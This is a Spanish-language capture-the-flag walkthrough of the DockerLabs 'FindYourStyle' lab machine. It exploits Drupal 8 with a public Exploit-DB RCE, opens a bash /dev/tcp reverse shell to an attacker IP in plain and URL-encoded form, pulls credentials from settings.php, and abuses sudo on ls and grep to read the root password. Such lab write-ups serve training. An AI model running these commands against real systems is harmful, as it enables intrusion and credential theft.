> For the complete documentation index, see [llms.txt](https://brias.gitbook.io/brias/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://brias.gitbook.io/brias/dockerlabs/dificultad-facil/findyourstyle.md).
# FindYourStyle
### **1. Despliegue de la máquina**
#### **1.1. Descarga**
Accedemos a la web oficial de [DockerLabs](https://dockerlabs.es/), buscamos la máquina **FindYourStyle** y pulsamos el botón de descarga.
Esto nos redirige a un enlace de Mega, desde donde descargamos un archivo comprimido que incluye tanto la imagen de la máquina como el script necesario para su ejecución.
#### **1.2. Descompresión**
Utilizamos la herramienta `7z` para extraer el contenido del archivo comprimido `findyourstyle.zip`:
```bash
7z x findyourstyle.zip
```
#### **1.3. Ejecución**
Ejecutamos el script `auto_deploy.sh` para levantar la máquina en Docker, pasando como argumento el archivo `findyourstyle.tar`:
```bash
bash auto_deploy.sh findyourstyle.tar
```
### **2. Reconocimiento**
#### **2.1. Verificación de conectividad**
Realizamos un `ping` a la dirección IP de la máquina (`172.17.0.2`) para confirmar que está activa:
```bash
ping -c 1 172.17.0.2
```
#### **2.2. Escaneo de puertos**
Realizamos un escaneo rápido con `nmap` para identificar puertos abiertos:
```bash
nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 172.17.0.2 -oG allPorts
```
**Explicación de los parámetros:**
* `-p-`: Escanea todos los puertos TCP, del 1 al 65535.
* `--open`: Muestra solo los puertos que están abiertos, omitiendo los cerrados o filtrados.
* `-sS`: Realiza un escaneo SYN (stealth scan) que no completa la conexión TCP.
* `--min-rate 5000`: Fuerza una velocidad mínima de 5000 paquetes por segundo, acelerando el escaneo.
* `-vvv`: Activa el nivel máximo de verbosidad, mostrando información detallada del proceso.
* `-n`: Evita la resolución DNS, usando solo direcciones IP.
* `-Pn`: Omite la detección de host activo, asumiendo que el host está disponible.
* `-oG allPorts`: Guarda los resultados del escaneo en formato grepable, en el archivo `allPorts`.
**Resultado del escaneo:**
* **Puerto 80:** `HTTP`.
#### **2.3. Escaneo detallado**
Realizamos un escaneo más exhaustivo para obtener información adicional sobre el puerto abierto:
```bash
nmap -p80 -sCV 172.17.0.2 -oN targeted
```
**Explicación de los parámetros:**
* `-p80`: Especifica el puerto a escanear.
* `-sCV`: Combina la ejecución de scripts básicos de reconocimiento (`-sC`) con el escaneo de versiones (`-sV`).
* `-oN targeted`: Guarda los resultados del escaneo en formato normal, en el archivo `targeted`.
**Resultado del escaneo:**
* **Puerto 80:** `Apache httpd 2.4.25`, con el CMS Drupal 8 funcionando sobre este servicio.
#### **2.4. Análisis del servicio web**
Accedemos al servicio HTTP mediante un navegador (`http://172.17.0.2/`) y comprobamos que se trata de un sitio web construido con Drupal, el cual no presenta contenido relevante.
Utilizamos la extensión Wappalyzer para confirmar que se trata de **Drupal 8**, lo cual coincide con los resultados del escaneo de `nmap`.
### **3. Explotación**
#### **3.1. Investigación de vulnerabilidades**
Identificamos que Drupal 8 es vulnerable a una ejecución remota de código (RCE), documentada en Exploit-DB con el ID [44449](https://www.exploit-db.com/exploits/44449).
#### **3.2. Descarga y configuración del exploit**
Descargamos el exploit y le damos permisos de ejecución:
```bash
chmod 700 44449.rb
```
Instalamos la dependencia `highline`, requerida para la ejecución correcta del exploit:
```bash
gem install highline
```
#### **3.3. Ejecución del exploit**
Ejecutamos el exploit proporcionando la URL objetivo:
```bash
ruby 44449.rb http://172.17.0.2/
```
**Resultado:** El exploit se ejecuta con éxito, otorgándonos una shell limitada como el usuario `www-data` en la máquina objetivo.
#### **3.4. Establecimiento de reverse shell**
Para obtener una shell más cómoda, establecemos una reverse shell desde la máquina objetivo hacia nuestra máquina atacante.
Primero, nos ponemos en escucha en el puerto `1234`:
```bash
nc -nvlp 1234
```
Desde la máquina objetivo, intentamos ejecutar el siguiente comando para enviar una shell a nuestra máquina atacante:
```bash
bash -c 'bash -i >& /dev/tcp/10.10.10.3/1234 0>&1'
```
Sin embargo, este comando puede fallar debido a los caracteres especiales como `>` y `&`, que suelen ser mal interpretados.
Para evitar este problema, codificamos el comando usando [urlencoder.org](https://www.urlencoder.org/):
```bash
bash%20-c%20%27bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F10.10.10.3%2F1234%200%3E%261%27
```
Ejecutamos el comando codificado desde la máquina objetivo:
```bash
bash%20-c%20%27bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F10.10.10.3%2F1234%200%3E%261%27
```
Como resultado, recibimos exitosamente una shell en nuestra terminal como el usuario `www-data`.
### **4. Escalada de privilegios**
#### **4.1. Reconocimiento interno**
Listamos los directorios existentes en `/home` para identificar usuarios del sistema:
```bash
ls /home/
```
Encontramos el usuario `ballenita`.
Examinamos el archivo `settings.php` de Drupal, el cual contiene configuraciones sensibles, incluyendo credenciales:
```bash
cat /var/www/html/sites/default/settings.php
```
Localizamos la contraseña `ballenitafeliz` para el usuario `ballenita`.
#### **4.2. Acceso al usuario ballenita**
Utilizamos la contraseña encontrada (`ballenitafeliz`) para acceder como `ballenita`:
```bash
su ballenita
```
#### **4.3. Análisis de privilegios sudo**
Verificamos los comandos que el usuario `ballenita` puede ejecutar con privilegios elevados:
```bash
sudo -l
```
**Resultado:** El usuario `ballenita` puede ejecutar `/bin/ls` y `/bin/grep` como `root` sin proporcionar contraseña:
```bash
(root) NOPASSWD: /bin/ls, /bin/grep
```
#### **4.4. Lectura de archivos privilegiados**
Listamos el directorio `/root` utilizando `/bin/ls`:
```bash
sudo -u root /bin/ls /root/
```
Encontramos un archivo llamado `secretitomaximo.txt`.
Leemos el contenido del archivo utilizando `/bin/grep`:
```bash
sudo -u root /bin/grep '' /root/secretitomaximo.txt
```
**Resultado:** Obtenemos la contraseña del usuario `root` (`nobodycanfindthispasswordrootrocks`).
#### **4.5. Acceso como root**
Accedemos al usuario `root` utilizando la contraseña obtenida anteriormente (`nobodycanfindthispasswordrootrocks`):
```bash
su root
```
**Resultado:** Obtenemos una shell como `root`, completando exitosamente la escalada de privilegios.
